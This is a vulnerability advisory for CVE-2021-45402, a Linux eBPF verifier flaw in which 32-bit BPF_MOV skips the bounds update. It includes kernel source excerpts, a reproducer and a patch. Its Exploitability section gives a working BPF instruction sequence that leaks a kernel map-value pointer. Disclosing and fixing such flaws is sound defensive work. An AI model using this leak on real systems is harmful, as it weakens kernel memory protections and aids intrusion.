..
[CVE-2021-45402] eBPF verifier bug: Forgot to update reg bounds after calling zext_32_to_64
-- [ Description
Most of the time it is needed to call zext_32_to_64() when verifying
32b BPF_ALU instructions. It will finally call
__reg_assign_32_into_64() to update 64b bounds using 32b bounds (1).
```
/* BPF architecture zero extends alu32 ops into 64-bit registesr */
static void zext_32_to_64(struct bpf_reg_state *reg)
{
reg->var_off = tnum_subreg(reg->var_off);
__reg_assign_32_into_64(reg); <---- (1)
}
```
When both s32_min_value and s32_max_value are positive,
__reg_assign_32_into_64() directly pulls the 32-bit signed bounds into
the 64-bit bounds, otherwise it sets the 64-bit bounds to worse case
bounds. It says that the 64-bit bounds will be refined later from tnum
(2). But it actually forgot to do so in some cases, see below.
```
static void __reg_assign_32_into_64(struct bpf_reg_state *reg)
{
reg->umin_value = reg->u32_min_value;
reg->umax_value = reg->u32_max_value;
/* Attempt to pull 32-bit signed bounds into 64-bit bounds
* but must be positive otherwise set to worse case bounds
* and refine later from tnum. <---- (2)
*/
if (reg->s32_min_value >= 0 && reg->s32_max_value >= 0)
reg->smax_value = reg->s32_max_value;
else
reg->smax_value = U32_MAX;
if (reg->s32_min_value >= 0)
reg->smin_value = reg->s32_min_value;
else
reg->smin_value = 0;
}
```
The verification of most BPF_ALU instructions will finally execute
into adjust_scalar_min_max_vals() from check_alu_op(), at the end of
this function, it will call zext_32_to_64() when the instruction is a
32-bit ALU operation, and update the bounds immediately afterwards,
things seem to be going well but with one exception.
```
static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state *dst_reg,
struct bpf_reg_state src_reg)
{
...
/* ALU32 ops are zero extended into 64-bit register */
if (alu32)
zext_32_to_64(dst_reg);
__update_reg_bounds(dst_reg);
__reg_deduce_bounds(dst_reg);
__reg_bound_offset(dst_reg);
return 0;
}
```
Instruction class BPF_MOV, perhaps due to it not requiring complicated
bounds adjustments, will not call the adjust_scalar_min_max_vals(),
and when it is a 32-bit ALU operation, zext_32_to_64() is also called.
But in this case, it seems to forget to update the bounds with tnum as
commented in __reg_assign_32_into_64().
```
static int check_alu_op(struct bpf_verifier_env *env, struct bpf_insn *insn)
{
...
if (opcode == BPF_END || opcode == BPF_NEG) {
...
} else if (opcode == BPF_MOV) {
...
if (BPF_SRC(insn->code) == BPF_X) {
...
if (BPF_CLASS(insn->code) == BPF_ALU64) {
...
} else {
...
zext_32_to_64(dst_reg); <---- (3)
}
}
} else if (opcode > BPF_END) {
...
} else { /* all other ALU ops: and, sub, xor, add, ... */
...
return adjust_reg_min_max_vals(env, insn);
}
return 0;
}
```
When the source operand is a const scalar, dst_reg will be a const
scalar with smax_value not equal to smin_value. This breaks some
internal assumptions of the verifier, and at least can be used to leak
the pointer of MAP_VALUE.
-- [ Affected Versions
Latest version (v5.16-rc3) of Linux.
-- [ Reproducer
To trigger this bug just need two instructions:
```
BPF_MOV32_IMM(BPF_REG_0, 0xFFFFFFFF)
BPF_MOV32_REG(BPF_REG_0, BPF_REG_0)
```
-- [ Mitigation
Perhaps the easiest way is to copy the codes that update the bounds
from adjust_scalar_min_max_vals().
```
diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index e76b55917905..2d1105ca7c59 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -8098,6 +8098,9 @@ static int check_alu_op(struct bpf_verifier_env
*env, struct bpf_insn *insn)
insn->dst_reg);
}
zext_32_to_64(dst_reg);
+ __update_reg_bounds(dst_reg);
+ __reg_deduce_bounds(dst_reg);
+ __reg_bound_offset(dst_reg);
}
} else {
/* case: R = imm
```
-- [ Exploitability
off_reg is checked at the beginning of adjust_ptr_min_max_vals(), if
off_reg is the previously described register that had triggered the
bug, dst_reg (i.e, ptr_reg) will be marked as unknown, while dst_reg
contains a pointer to MAP_VALUE, and this branch is not a dead branch.
```
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
const struct bpf_reg_state *ptr_reg,
const struct bpf_reg_state *off_reg)
{
...
bool known = tnum_is_const(off_reg->var_off);
s64 smin_val = off_reg->smin_value, smax_val = off_reg->smax_value,
smin_ptr = ptr_reg->smin_value, smax_ptr = ptr_reg->smax_value;
u64 umin_val = off_reg->umin_value, umax_val = off_reg->umax_value,
umin_ptr = ptr_reg->umin_value, umax_ptr = ptr_reg->umax_value;
if ((known && (smin_val != smax_val || umin_val != umax_val)) ||
smin_val > smax_val || umin_val > umax_val) {
/* Taint dst register if offset had invalid bounds derived from
* e.g. dead branches.
*/
__mark_reg_unknown(env, dst_reg);
return 0;
}
...
}
```
So we can leak pointer by the following instructions:
```
struct bpf_insn insn[] =
{
// load store_map values ptr into reg_0
BPF_MOV64_IMM(BPF_REG_0, 0), \
BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4), \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), \
BPF_LD_MAP_FD(BPF_REG_1, STORE_MAP_FD), \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \
BPF_EXIT_INSN(), \
BPF_MOV64_REG(STORE_MAP_REG, BPF_REG_0), \
BPF_MOV64_REG(CORRUPT_MAP_REG, BPF_REG_0), \
BPF_MOV32_IMM(BPF_REG_0, 0),
// trigger the bug
BPF_MOV32_IMM(EXPLOIT_REG, 0xFFFFFFFF), \
BPF_MOV32_REG(EXPLOIT_REG, EXPLOIT_REG), \
// mark CORRUPT_MAP_REG as unknown
BPF_ALU64_REG(BPF_SUB, CORRUPT_MAP_REG, EXPLOIT_REG), \
// store the leaked BPF ptr into store map
BPF_STX_MEM(BPF_DW, STORE_MAP_REG, CORRUPT_MAP_REG, 8), \
BPF_EXIT_INSN()
};
```
I have spent some time thinking about whether this vulnerability can
be used to achieve LPE, but got nothing. But I think the eBPF
subsystem is very special in exploitability, and full of
possibilities.
-- [ References
* https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=3cf2b61eb06765e27fec6799292d9fb46d0b7e60
* https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=e572ff80f05c33cd0cb4860f864f5c9c044280b6
* https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=b1a7288dedc6caf9023f2676b4f5ed34cf0d4029